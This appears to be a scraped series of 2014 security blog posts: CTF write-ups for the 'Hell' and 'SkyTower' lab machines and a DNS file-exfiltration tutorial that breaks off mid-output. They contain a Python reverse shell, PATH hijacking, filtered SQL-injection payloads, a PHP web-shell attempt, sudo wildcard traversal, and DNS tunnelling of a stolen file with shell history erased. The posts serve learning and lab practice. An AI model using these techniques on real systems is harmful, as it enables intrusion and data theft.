1003a011c5bdb65a07a8f92feb6b7d7ecbf3a3ff0f2a46abbe5c777c525996d8 /usr/bin/id Checking integrity of part2... sha256sum /home/bazza/part2 Failed to run command Done!! Checking integrity of calling target... sha256sum /usr/bin/id Uh oh.... Corrupted or in wrong directory (/home/bazza/) Done!! Binary and target confirmed. /home/bazza/part2 Target corrupt ;*2$\u0026#34; This should give you a pretty good idea of what is potentially going on in the binary, like:\n Check the sha256sum of /gome/bazza/part matches 900462fbf9593f1a4b753f1729c431abc80932a151e9b293e13822a91f9641c1 Check the sha256sum of /usr/bin/id matches 1003a011c5bdb65a07a8f92feb6b7d7ecbf3a3ff0f2a46abbe5c777c525996d8 Eventually Fail if these don’t match.  The key lies in the fact that the sha256sum command does not appear to be called from its full path location ie: /usr/bin/sha256sum. So, similar to how we fooled the chmod earlier, we are going to do exactly the same with the sha256sum.\nAs before, we create a evil sha256sum command, which is actually just a python script to spawn /bin/sh, then prefix PATH with /tmp and run ./part1. For this one however, I was having trouble with the pty.spawn() and didn\u0026rsquo;t really feel like troubleshooting that much. So I opted for a (reverse shell)[http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet] payload instead to open on a netcat listener that I have on my host laptop:\n#!/usr/bin/python import socket,subprocess,os s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((\u0026#34;192.168.56.1\u0026#34;,4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p = subprocess.call([\u0026#34;/bin/sh\u0026#34;,\u0026#34;-i\u0026#34;]) I spawned a netcat listener on my laptop using nc -l 4444, and ran ./part1:\n→ nc -l 4444 $ id uid=1004(bazza) gid=1004(bazza) egid=1003(developers) groups=1004(bazza) Notice that I was now in the developers group. I was now allowed to run ./part2 too\u0026hellip; with a verbose line showing me the permissions I would need to gain access to /home/oj:\n$ ./part2 uid=1004(bazza) gid=1004(bazza) euid=1005(oj) egid=1003(developers) groups=1005(oj),1004(bazza) Can\u0026#39;t touch this *nah na na na na naaaaaaaa nah* $ And, as expected, I spent some time on this binary too. I didn\u0026rsquo;t expect part2 to be any easier :P After taking a break, I realized that the output that looks like that of /usr/bin/id, probably is that if it. So, off I went and did another sha256sum, type script, this time just with another reverse shell to port 4445, and naming it id so that part2 will pick it up:\n→ nc -l 4445 $ /usr/bin/id uid=1004(bazza) gid=1004(bazza) euid=1005(oj) egid=1003(developers) groups=1005(oj),1004(bazza) $ cd /home/oj $ ls -lh total 584K -r-sr-xr-x 1 root root 579K Jul 5 21:12 echo -rw-r--r-- 1 root root 154 Jul 5 21:06 How to be an infosec rockstar 101.txt $ And there we are! Group membership for oj, and access to /home/oj\nbecoming root As with all of the other users, I added myself a ssh key for easy access.\nNow, sadly I have to admit that this is as far as I have been able to come. oj has a binary called echo (not to be confused with the builtin echo), that, as expected, will echo what you input.\noj@hell:~$ ./echo onetwothree onetwothree oj@hell:~$ I toyed with the inputs and noticed that when I entered inputs prefixed with a %, some strange stuff started to happen. Google helped me towards learning that this is what is called a Format String Attack\noj@hell:~$ ./echo %08x.%08x.%08x 080488c0.bffffcf8.00000000 oj@hell:~$ I am however satisfied that I have come this far, and will definitely endeavor to nail this format string vuln sometime. But that time is not now.\nEdit: One way to root the machine is to make use of the fact that you can run truecrypt as root, and provide a evil container, spawning you a root shell. An example of this can be seen here (and actually references this VM)\nsummary Hell sure as heck taught me a lot and was one fun experience! Shoutout to @0x42424242 for the time taken to make this VM available.\n","permalink":"https://leonjza.github.io/blog/2014/07/20/hell-would-just-not-freeze-over/","summary":"\u003cp\u003e##foreword\nLets start by saying that this is probably one of the toughest boot2root\u0026rsquo;s I have tried thus far. Even though I have managed to get \u003ccode\u003e/root/flag.txt\u003c/code\u003e, I am yet to actually \u003cem\u003eroot\u003c/em\u003e this beast. I believe I have arguably come quite far and there is only one hurdle left, however, almost 3 days later I have learnt a \u003cstrong\u003eTON\u003c/strong\u003e of stuff, and am satisfied to start jotting the experience down. Obviously, should I finally get \u003cstrong\u003eroot\u003c/strong\u003e, I\u0026rsquo;ll update here and reflect. This is also a relatively long post as there were a ton of things to do. Give yourself some time if you plan on reading the whole post :)\u003c/p\u003e","title":"Hell would just not freeze over!"},{"content":"foreword Recently, at a local Security Conference, @telspacesystems ran a CTF. It was a classic \u0026lsquo;read /root/flag.txt\u0026rsquo; CTF hosted on a wireless network. Sadly the wifi sucked, a lot, and due to this and a flat battery I was not able to attempt this CTF properly at the con. Nonetheless, the VM was released on VulnHub, and was promptly downloaded and loaded into VirtualBox.\nIn summary, this CTF taught me some interesting things about SQL injection where filters are present. More specifically, commas were filtered out and resulted in the need from some creative thinking :)\nstarting off The very first thing to do was get the IP assigned by my home router to the VM. Loaded this up into a web browser and saw the skytower web page as per the screenshots in the vulnhub entry. The IP I got was 192.168.137.242.\nThe home page presented you with a login screen and a 2.5MB \u0026lsquo;background.jpg\u0026rsquo; image. Right in the beginning I was started off on the wrong path. I downloaded this background image and attempted to see if there was anything particularly interesting about it. Sadly, the answer to this question was a loud NOPE. I started dirbuster on the web interface and proceeded with a nmap scan of 192.168.137.242 after which I had to call it a night.\n$ nmap --reason -Pn 192.168.137.242 Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-17 18:32 SAST Nmap scan report for 192.168.137.242 Host is up, received user-set (0.0020s latency). Not shown: 997 closed ports Reason: 997 conn-refused PORT STATE SERVICE REASON 22/tcp filtered ssh no-response 80/tcp open http syn-ack 3128/tcp open squid-http syn-ack Next morning I reviewed the results and continued to poke around.\nlearn all you can With the information gathered so far, I realized that the SSH (tcp/22) was explicitly filtered, however the squid proxy was open. I tried to telnet and use the CONNECT method to see if I was able to access the SSH service:\n$ telnet 192.168.137.242 3128 Trying 192.168.137.242... Connected to 192.168.137.242. Escape character is \u0026#39;^]\u0026#39;. CONNECT 127.0.0.1:22 HTTP/1.0 200 Connection established SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u1 ^] telnet\u0026gt; quit Connection closed. Great, soooo I can get access to the SSH service of needed. The dirbuster results showed nothing of particular interest, but it was worth a shot anyways. An important thing to note here is that I suspect I maxed out the disk space in the VM due to the access_log growing too big from the dirbust. This caused me numerous headaches and frustrated me quite a bit when I was testing. Anyways\u0026hellip;\nThe next step was to poke around the web application. I personally really enjoy web hacking so this was probably the most fun of the whole CTF. The web page presented you with a simple form that would POST to login.php. 2 fields were posted: email \u0026amp; password\nA natural reaction is to try and use a single quote in form fields as a quick and nasty check for potential SQL injection. A login attempt with a username of test and password ' resulted in:\nThere was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \u0026#39;\u0026#39;\u0026#39;\u0026#39;\u0026#39; at line 1] Classic SQLi! Surprised I continued with simple login bypasses. None that I could think of out of my head appeared to work. Eventually I started to notice that some of the keywords that I was using were not appearing in the error messages. This hinted heavily towards the fact that there may be some form of filtering in place. Eventually, I put the request down in a curl command so that I can work with this slightly easier. To sample the keywords being removed:\n$ curl --data \u0026#34;email=foo@bar\u0026amp;password=\u0026#39; OR 1=1#\u0026#34; http://192.168.137.242/login.php There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \u0026#39;11#\u0026#39;\u0026#39; at line 1]% $ curl --data \u0026#34;email=foo@bar\u0026amp;password=\u0026#39;1 OR 1=1#\u0026#34; http://192.168.137.242/login.php There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \u0026#39;1 11#\u0026#39;\u0026#39; at line 1]% Ok, so no OR. Thats ok, we can substitute this easily with ||.\n$ curl --data \u0026#34;email=foo@bar\u0026amp;password=\u0026#39; || 1=1#\u0026#34; http://192.168.137.242/login.php \u0026lt;HTML\u0026gt; \u0026lt;div style=\u0026#34;height:100%; width:100%;background-image:url(\u0026#39;background.jpg\u0026#39;); background-size:100%; background-position:50% 50%; background-repeat:no-repeat;\u0026#34;\u0026gt; \u0026lt;div style=\u0026#34; padding-right:8px; padding-left:10px; padding-top: 10px; padding-bottom: 10px; background-color:white; border-color: #000000; border-width: 5px; border-style: solid; width: 400px; height:430px; position:absolute; top:50%; left:50%; margin-top:-215px; /* this is half the height of your div*/ margin-left:-200px; \u0026#34;\u0026gt; \u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;\u0026lt;font size=4\u0026gt;Welcome john@skytech.com\u0026lt;/font\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;/br\u0026gt;\u0026lt;/strong\u0026gt;As you may know, SkyTech has ceased all international operations.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt; To all our long term employees, we wish to convey our thanks for your dedication and hard work.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Unfortunately, all international contracts, including yours have been terminated.\u0026lt;/strong\u0026gt;\u0026lt;br\u0026gt;\u0026lt;br\u0026gt; The remainder of your contract and retirement fund, \u0026lt;strong\u0026gt;$2\u0026lt;/strong\u0026gt; ,has been payed out in full to a secure account. For security reasons, you must login to the SkyTech server via SSH to access the account details.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Username: john\u0026lt;/strong\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Password: hereisjohn\u0026lt;/strong\u0026gt; \u0026lt;br\u0026gt;\u0026lt;br\u0026gt; We wish you the best of luck in your future endeavors. \u0026lt;br\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt;\u0026lt;/HTML\u0026gt;% And success. We have made some progress :D Little did I know that I don\u0026rsquo;t actually completely understand the progress made yet, but just keep this in mind :)\nclimbing the tower and faling hard From the auth bypass results, we can see specific mention for users to SSH into the server. This particular user has a username john and a password hereisjohn. So lets try this. I setup my proxychains install to use the http proxy available on the server (http 192.168.137.242 3128) and opened a SSH session through it:\n$ proxychains4 ssh john@127.0.0.1 [snip] [proxychains] Strict chain ... 192.168.137.242:3128 ... 127.0.0.1:22 ... OK john@127.0.0.1\u0026#39;s password: Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jul 17 12:54:32 2014 from localhost Funds have been withdrawn Connection to 127.0.0.1 closed. $ \u0026hellip; ok. So we get a session, and are told Funds have been withdrawn, and get the connection closed. Not exactly what I hoped for. Thinking what could cause this behavior, my mind went on to things like a custom shell, .bashrc files (assuming the user has bash a a shell) etc. So, I figured there may be more users on the system and I should try get those credentials too. After all, we have a working SQL injection point.\nmore sql injection So back to the SQLi point it was. Taking a wild guess, I assumed there is a users table, and the table will have a primary key of id. So, john may have id 1, and a next user have id 2. So I modified the query slightly:\n$ curl --data \u0026#34;email=foo@bar\u0026amp;password=\u0026#39; || id=1#\u0026#34; http://192.168.137.242/login.php There was an error running the query [Unknown column \u0026#39;id1\u0026#39; in \u0026#39;where clause\u0026#39;]% Well I definitely didn\u0026rsquo;t ask for the column id1, but from this again it was apparent that = was filtered along with OR. :| Ok, so we change the payload again:\n$ curl --data \u0026#34;email=foo@bar\u0026amp;password=\u0026#39; || id \u0026gt; 1#\u0026#34; http://192.168.137.242/login.php [snip] \u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;\u0026lt;font size=4\u0026gt;Welcome sara@skytech.com\u0026lt;/font\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;/br\u0026gt;\u0026lt;/strong\u0026gt;As you may know, SkyTech has ceased all international operations.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt; To all our long term employees, we wish to convey our thanks for your dedication and hard work.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Unfortunately, all international contracts, including yours have been terminated.\u0026lt;/strong\u0026gt;\u0026lt;br\u0026gt;\u0026lt;br\u0026gt; The remainder of your contract and retirement fund, \u0026lt;strong\u0026gt;$2\u0026lt;/strong\u0026gt; ,has been payed out in full to a secure account. For security reasons, you must login to the SkyTech server via SSH to access the account details.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Username: sara\u0026lt;/strong\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Password: ihatethisjob\u0026lt;/strong\u0026gt; \u0026lt;br\u0026gt;\u0026lt;br\u0026gt; We wish you the best of luck in your future endeavors. \u0026lt;br\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt;\u0026lt;/HTML\u0026gt;% Yay, my guess on the id column was correct, and I now had a second users details. I continued to increment the id, and ended up with 3 accounts:\n john:hereisjohn sara:ihatethisjob william:senseable  The users john \u0026amp; sara both had the same behavior when attempting login via SSH, and the user william appears to have had an incorrect password. So, again the results were not exactly what I hoped for.\nmore SQL enumeration At this stage, I was thinking there must be more information in the database, and I should try and read some files from disk in order to gain a better understanding of what is going on here.\nFast forward a few hours, I discovered that a few more keywords and symbols were filtered. The hardest being the realization that a union select was not working as expected so that I can enumerate the columns. Even though the initial entry on vulnhub mentioned that automated tools would probably not work, I figured in this case that I had a valid SQLi, I could just make use of some SQLMap automagic. Again NOPE. Even with --level 3 \u0026amp; --risk 3 there was no joy. This is ok.\nI studied the error messages in detail, googled\u0026hellip; a lot\u0026hellip; and eventually came across this blogpost, detailing a way to get a union working without the ability to use commas. I should also note that I managed to bypass the SELECT filter by using SELECSELECTT in the payload. Assuming that the filter was a simple str_replace(), this left me with SELECT after the pass.\nFor the sake of brevity I am not going to detail all of the methods I used in order to exploit the SQLi and get value out of it. I managed to learn that the database user used by the PHP application was root. The query used in login.php returned 3 columns. One particular payload of interest that uses the method in the previously mentioned blog post, was used to start reading files from the servers disk. More specifically, /etc/passwd:\n$ curl --data \u0026#34;email=foo@bar\u0026amp;password=\u0026#39; or union selecselectt * from (selecselectt 111) as a JOIN (selecselectt 222) as b JOIN (selecselectt load_file(\u0026#39;/etc/password\u0026#39;)) as c#\u0026#34; http://192.168.137.242/login.php [snip] \u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;\u0026lt;font size=4\u0026gt;Welcome 222\u0026lt;/font\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;/br\u0026gt;\u0026lt;/strong\u0026gt;As you may know, SkyTech has ceased all international operations.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt; To all our long term employees, we wish to convey our thanks for your dedication and hard work.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Unfortunately, all international contracts, including yours have been terminated.\u0026lt;/strong\u0026gt;\u0026lt;br\u0026gt;\u0026lt;br\u0026gt; The remainder of your contract and retirement fund, \u0026lt;strong\u0026gt;$2\u0026lt;/strong\u0026gt; ,has been payed out in full to a secure account. For security reasons, you must login to the SkyTech server via SSH to access the account details.\u0026lt;br\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Username: 222\u0026lt;/strong\u0026gt;\u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;Password: root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/bin/sh bin❌2:2:bin:/bin:/bin/sh sys❌3:3:sys:/dev:/bin/sh sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/bin/sh man❌6:12:man:/var/cache/man:/bin/sh lp❌7:7:lp:/var/spool/lpd:/bin/sh mail❌8:8:mail:/var/mail:/bin/sh news❌9:9:news:/var/spool/news:/bin/sh uucp❌10:10:uucp:/var/spool/uucp:/bin/sh proxy❌13:13:proxy:/bin:/bin/sh www-data❌33:33:www-data:/var/www:/bin/sh backup❌34:34:backup:/var/backups:/bin/sh list❌38:38:Mailing List Manager:/var/list:/bin/sh irc❌39:39:ircd:/var/run/ircd:/bin/sh gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody❌65534:65534:nobody:/nonexistent:/bin/sh libuuid❌100:101::/var/lib/libuuid:/bin/sh sshd❌101:65534::/var/run/sshd:/usr/sbin/nologin mysql❌102:105:MySQL Server,,,:/nonexistent:/bin/false john❌1000:1000:john,,,:/home/john:/bin/bash sara❌1001:1001:,,,:/home/sara:/bin/bash william❌1002:1002:,,,:/home/william:/bin/bash \u0026lt;/strong\u0026gt; \u0026lt;br\u0026gt;\u0026lt;br\u0026gt; We wish you the best of luck in your future endeavors. \u0026lt;br\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt;\u0026lt;/HTML\u0026gt; Reading the /etc/passwd revealed that there were no custom shells used for the users that were enumerated previously. O..k.. I also pulled the sources of login.php in order to understand what the deal with the filtering was:\n$sqlinjection = array(\u0026#34;SELECT\u0026#34;, \u0026#34;TRUE\u0026#34;, \u0026#34;FALSE\u0026#34;, \u0026#34;--\u0026#34;,\u0026#34;OR\u0026#34;, \u0026#34;=\u0026#34;, \u0026#34;,\u0026#34;, \u0026#34;AND\u0026#34;, \u0026#34;NOT\u0026#34;); $email = str_ireplace($sqlinjection, \u0026#34;\u0026#34;, $_POST[\u0026#39;email\u0026#39;]); $password = str_ireplace($sqlinjection, \u0026#34;\u0026#34;, $_POST[\u0026#39;password\u0026#39;]); And as suspected. :)\nOne last thing that I tried, really hard, was to get a web shell on the server so that I can further explore the environment. This failed miserably. The closest I was able to get was:\n$ curl --data \u0026#34;email=foo@bar\u0026amp;password=\u0026#39; or union selecselectt * from (selecselectt 111) as a JOIN (selecselectt 222) as b JOIN (selecselectt \u0026#39;\u0026lt;?php print_r(shell_exec($_GET[cmd])); ?\u0026gt;\u0026#39;) as c into outfile \u0026#39;/var/www/shell.php\u0026#39;#\u0026#34; http://192.168.137.242/login.php There was an error running the query [Can\u0026#39;t create/write to file \u0026#39;/var/www/shell.php\u0026#39; (Errcode: 13)] This obviously alludes to the fact that the user MySQL is running as des not have access to write to the web folder. It was time to rethink what was going on here\u0026hellip; Oh yes, I obviously tried to just cat /root/flag.txt, but didn’t expect it to be that easy :D\ngaining further access After spending a really long time with the SQL injections, I decided to relook the SSH section. From the SQL injection that I learnt that there don\u0026rsquo;t appear to be any custom shells in use, so the other thing this could be is a .bashrc with a exit command. I know its .bashrc because I saw the shell is /bin/bash from the /etc/passwd. I remember that I make heavy use of ssh -t to execute commands on the remove server, usually to setup multiple tunnels into a network, so I thought it will come in handy here.\nFor this case though, I though I\u0026rsquo;d specify a /bin/sh as the command to run, hoping to not get caught in a .bashrc running:\n$ proxychains4 -q ssh john@127.0.0.1 -t /bin/sh john@127.0.0.1\u0026#39;s password: $ id uid=1000(john) gid=1000(john) groups=1000(john) Woop! I was now logged in as john. I inspected the .bashrc file and saw that at the end there was:\necho echo \u0026#34;Funds have been withdrawn\u0026#34; exit \u0026hellip; a exit. I simply removed the line. Now the almost obvious next step was to inspect and enumerate as much as possible. The most obvious thing that came to mind was privilege escalation as I was simply a normal user on the system at the moment.\nenumeration enumeration enumeration I enumerated, everything\u0026hellip; Referring to a excellent post by g0tm1lk nothing aparent came up. The only semi strange thing was a empty /accounts/ directory:\njohn@SkyTower:/accounts$ ls -lah /accounts/ total 8.0K drwxr-xr-x 2 root root 4.0K Jun 20 07:52 . drwxr-xr-x 24 root root 4.0K Jun 20 07:52 .. Other than that things seemed pretty normal. I decided to check out the other user sara too. This user has a similar exit in the .bashrc which I just removed. There was one distinct difference during enumeration though\u0026hellip;\nsara@SkyTower:~$ sudo -l Matching Defaults entries for sara on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User sara may run the following commands on this host: (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/* This user may execute some commands as root using sudo. sudo allows you to specify what those commands are, if not all. There was one problem with this configuration though. * is a wildcard character, and as such, anything after cat /accounts/ may also be run. This means that things like sudo cat /accounts/../../etc/shadow will work as the wildcard allows us to do a form of directory traversal.\npwnd So, to complete SkyTower:\nsara@SkyTower:~$ sudo cat /accounts/../../root/flag.txt Congratz, have a cold one to celebrate! root password is theskytower Thanks to @telspacesystems for the fun experience. I learnt something so for this was totally worth it!\n","permalink":"https://leonjza.github.io/blog/2014/07/17/climbing-the-skytower/","summary":"\u003ch2 id=\"foreword\"\u003eforeword\u003c/h2\u003e\n\u003cp\u003eRecently, at a local Security Conference, \u003ca href=\"https://twitter.com/telspacesystems\"\u003e@telspacesystems\u003c/a\u003e ran a CTF. It was a classic \u0026lsquo;read /root/flag.txt\u0026rsquo; CTF hosted on a wireless network. Sadly the wifi sucked, a lot, and due to this and a flat battery I was not able to attempt this CTF properly at the con. Nonetheless, the VM was released on \u003ca href=\"http://vulnhub.com/entry/skytower-1,96/\"\u003eVulnHub\u003c/a\u003e, and was promptly downloaded and loaded into VirtualBox.\u003c/p\u003e\n\u003cp\u003eIn summary, this CTF taught me some interesting things about SQL injection where filters are present. More specifically, commas were filtered out and resulted in the need from some creative thinking :)\u003c/p\u003e","title":"Climbing the SkyTower"},{"content":"This is not a old technique. Many a person has written about it and many technical methods are available to achieve this. Most notably, a concept of getting TCP type connectivity over DNS tunnels is probably a better idea to opt for should you wish to actually use technology like this. A quick Google even revealed full blown dns-tunneling-as-a-service type offers.\nthis article is not\u0026hellip; \u0026hellip; about anything particularly new. It is simply my ramblings, and some python code slapped together in literally a day in order for me to learn and get my hands dirty with the concepts.\nthe idea At its very core, the idea of DNS file transfers and DNS tunnelling resides in the fact that a few cleverly crafted DNS queries could be merged \u0026amp; formatted together to form part of a larger chunk of data. While DNS itself is not actually meant for file transfers, this method is obviously a very hacky approach.\nConsider the following scenario.\nYou have access to a very secure network. Secure in the sense that the firewalls are configured to allow NO outbound tcp connectivity. In fact, UDP is also limited to only allow DNS queries as a primary DNS server lives outside of this secure network, and provides most of the networks for this company with DNS services. Lets not dabble in the fact that the network can not receive any software updates etc, and just focus on the fact that it is a highly restricted network and contains potentially sensitive data.\nYou on the other hand, are responsible to come into the data centre where this network resides physically, and have some configuration changes to make, which involves you logging onto the console of a said server. While logged in, you notice a file, z300_technical_diagrams.zip. Looks pretty juicy! But, the file is close to 20MB, and the flash disk you have with you will be handed back to its owner before you leave the premises. You are also very aware of the security posture of this network and know that the only connectivity that is allowed outbound is udp/53.\nLuckily for you, you have a DNS file transfer server setup at home. You choose to use that as you would like to be sure that incase there may be some form of IPS on the border, your traffic wont be filtered. Your traffic will look like legit, semi \u0026lsquo;non-suspect\u0026rsquo; DNS lookup requests.\nthe setup So, to get the file z300_technical_diagrams.zip out of this network, we need to create DNS lookups of parts of this file, specifying the name server to use. We test that lookups work with a quick dig to our name server at home. (server ip swapped to 127.0.0.1)\n% dig A 123456.fake.com @127.0.0.1 ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.8.3-P1 \u0026lt;\u0026lt;\u0026gt;\u0026gt; 123456.fake.com @127.0.0.1 ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 24059 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;123456.fake.com. IN A ;; ANSWER SECTION: 123456.fake.com. 60 IN A 127.0.0.1 ;; Query time: 0 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Tue Mar 11 07:55:31 2014 ;; MSG SIZE rcvd: 49 Great, so it seems like we have working comms to our own name server, as we got a answer of 127.0.0.1. Our server will always respond with 127.0.0.1 being the IP.\npreparing the file With comms working to our name server, we can get some information about the file and test if a hex dump tool like xxd is available. This will enable us to break the file up in to little parts that can be used as DNS questions.\n% ls -lah z300_technical_diagrams.zip -rw-r--r-- 1 bob staff 20.1M Jan 27 01:01 z300_technical_diagrams.zip % xxd -p z300_technical_diagrams.zip 504b03040a000000000042a9384400000000000000000000000017001c00 7068616e746f6d6a732d312e392e372d6d61636f73782f55540900032b47 e3523947e35275780b000104f50100000414000000504b03040a00000000 0049a938440000000000000000000000001b001c007068616e746f6d6a73 [snip] Great. It looks like we have everything we need to make this work. :)\n\u0026lsquo;transferring\u0026rsquo; the file Now, we will use a simple awk, and prepare a few dig queries to our name server and finally, run the actual lookups. The best way to explain what is happening here is to actually show it:\n% xxd -p z300_technical_diagrams.zip | awk '{ print \u0026quot;dig \u0026quot; $1 \u0026quot;.fake.io @127.0.0.1 +short\u0026quot; }' dig 2e965f1608019c826a5b89b9a881b6df63a634a3ca83c01aa349411e4fa0.fake.io @127.0.0.1 +short dig 37aec06d77acd4d16ca559e008078e8bbfa2e1f0e3db8b995885fe398d48.fake.io @127.0.0.1 +short dig 763b55cfda9b977328588068d3a9b63b06811f5ecfae570e3f6e2d8b5e34.fake.io @127.0.0.1 +short dig 97b223da3800b1341ced3cc9e8542f53c0e123965e24591a9b75f58d4330.fake.io @127.0.0.1 +short dig eb9287c294832c7a79a84dc1cd066baf7e51adabc070eab8477a7cc4530d.fake.io @127.0.0.1 +short dig 9110217bcafcbaa48eee91567bfd698a76c70961ca9fea3402f929d4ee87.fake.io @127.0.0.1 +short dig f543e9a8c27602aeb2f6744a5097a7f20404f3e53d513c11d63e70434a71.fake.io @127.0.0.1 +short dig 61e85f16195f2fa75a82368cfbc781ace543ab22fcb72c97fbdb03015f8c.fake.io @127.0.0.1 +short [snip] As you can see, the output has generated a whole bunch of potential lookups for random strings. The same command above is rerun, but with | sh at the end, performing the actual lookups. On our server, we have tcpdump listening on port 53, writing all of the recorded packets to a file.\nback home We close our bash session with kill -9 $$ to prevent any history from writing and relogin, completing the original work we came for.\nBack home, it was time to stop the tcpdump that was running, and attempt to reassemble that file. The domain we used for the lookups was fake.io, so we just grep the output for that to ensure that we got the relevant parts (real ip\u0026rsquo;s masked to 127.0.0.1):\n% tcpdump -r raw -n | grep fake.io reading from file raw, link-type NULL (BSD loopback) 19:31:32.919144 IP 127.0.0.1.49331 \u0026gt; 127.0.0.1.53: 39001+ A? 504b03040a000000000042a9384400000000000000000000000017001c00.fake.io. (86) 19:31:32.925135 IP 127.0.0.1.51116 \u0026gt; 127.0.0.1.53: 23736+ A? 7068616e746f6d6a732d312e392e372d6d61636f73782f55540900032b47.fake.io. (86) [snip] Excellent! As we can see, we got some recorded requests, similar to those that we originally sent earlier in the day. Lets filter the output a little more, so that we sit with only the original hashes as output.\n% tcpdump -r raw -n | grep fake.io | cut -d' ' -f 8 | cut -d. -f 1 reading from file raw, link-type NULL (BSD loopback) 504b03040a000000000042a9384400000000000000000000000017001c00 7068616e746f6d6a732d312e392e372d6d61636f73782f55540900032b47 [snip] Lastly, we can pipe all of this through xxd -r and redirect the output to a new file. If all went well, this file should be z300_technical_diagrams.zip\n% tcpdump -r raw -n | grep fake.io | cut -d' ' -f 8 | cut -d. -f 1 | xxd -r \u0026gt; z300_technical_diagrams.zip % file z300_technical_diagrams.zip z300_technical_diagrams.zip: Zip archive data, at least v1.0 to extract python all the things Using only some bash commands, we have managed to transfer a file over the network using only DNS. This method however assumes that you have a running name server on the remote end that would actually respond to your requests, otherwise your lookups may take a very long time for the dig command to timeout, and it would retry like 3 times which would mean you would need to uniq your results before you xxd -r them.\nSo, in order for me to learn something new, I figured I\u0026rsquo;d write some python to help with this file transferring over DNS. Heck, maybe it could even result in something actually useful :o\nThe idea is simple. Create a fake DNS server that would listen and parse DNS packets. Allow for simple switches to write the received files to disk, and add a optional layer of encryption to the requests.\ndnsfilexfer So, I took a day (literally), and a few more hours afterwards for bug fixes and wrote something that does this. Consisting of two pretty self explanatory parts; dns_send.py \u0026amp; dns_recv.py, one is able to \u0026lsquo;send files\u0026rsquo; using DNS lookups and store them on the remote end. You also have the option of only using the send part with the -X flag, and have the output ready to use with xxd -r later on your server.\nThe code can be found here\nsample usage Below a full example of the usage, both on the client \u0026amp; server:\nWe start the \u0026lsquo;server\u0026rsquo; component along with a secret that will be used to decrypt received messages. For now, we have omitted -F as we are not going to write the message to a file, yet.\n% sudo python dns_recv.py --listen 0.0.0.0 --secret What is the secret? [INFO] Fake DNS server listening on 0.0.0.0 / 53 with a configured secret. % With our \u0026lsquo;server\u0026rsquo; started, we go to a client, and prepare the sending of a message by creating a sample message, and using the send script to sent it:\n% echo \u0026quot;This is a test message that will be sent over DNS\\n Cool eh?\u0026quot; \u0026gt; /tmp/message % cat /tmp/message This is a test message that will be sent over DNS Cool eh? % python dns_send.py --server 127.0.0.1 --file /tmp/message --indentifier dns_message_test --secret What is the secret? [INFO] Message is encypted with the secret ---START OF MESSAGE--- /lHsvTZT3nJfQgdtUWSpKDqrpKuK+eLrU3bpAp9aNDJt6K/mwEc8sBUaJybPh7r5h2AOkJVezwBBODSV9hFM8w== ---END OF MESSAGE--- [INFO] Sending lookup for : 00006:10000000000000000000000000000000000000000000000000.fake.io [INFO] Sending lookup for : 0001646e735f6d6573736167655f7465737400000000000000000000.fake.io [INFO] Sending lookup for : 00028bf2046ae2144be75d2ce780b3f992e2c368021e.fake.io [INFO] Sending lookup for : 00032f6c487376545a54336e4a6651676474555753704b447172704b754b.fake.io [INFO] Sending lookup for : 00042b654c7255336270417039614e444a74364b2f6d7745633873425561.fake.io [INFO] Sending lookup for : 00054a796250683772356832414f6b4a56657a7742424f4453563968464d.fake.io [INFO] Sending lookup for : 000638773d3d.fake.io [INFO] Sending lookup for : 00000000000000000000000000000000000000000000000000000000.fake.io [INFO] Message sent in 8 requests We can see that the message was \u0026lsquo;sent\u0026rsquo; using 8 requests and the --START OF MESSAGE-- preview contains the encrypted version of our message. Looking at the server, we see that the message is received:\n% sudo python dns_recv.py --listen 0.0.0.0 --secret Password: What is the secret? [INFO] Fake DNS server listening on 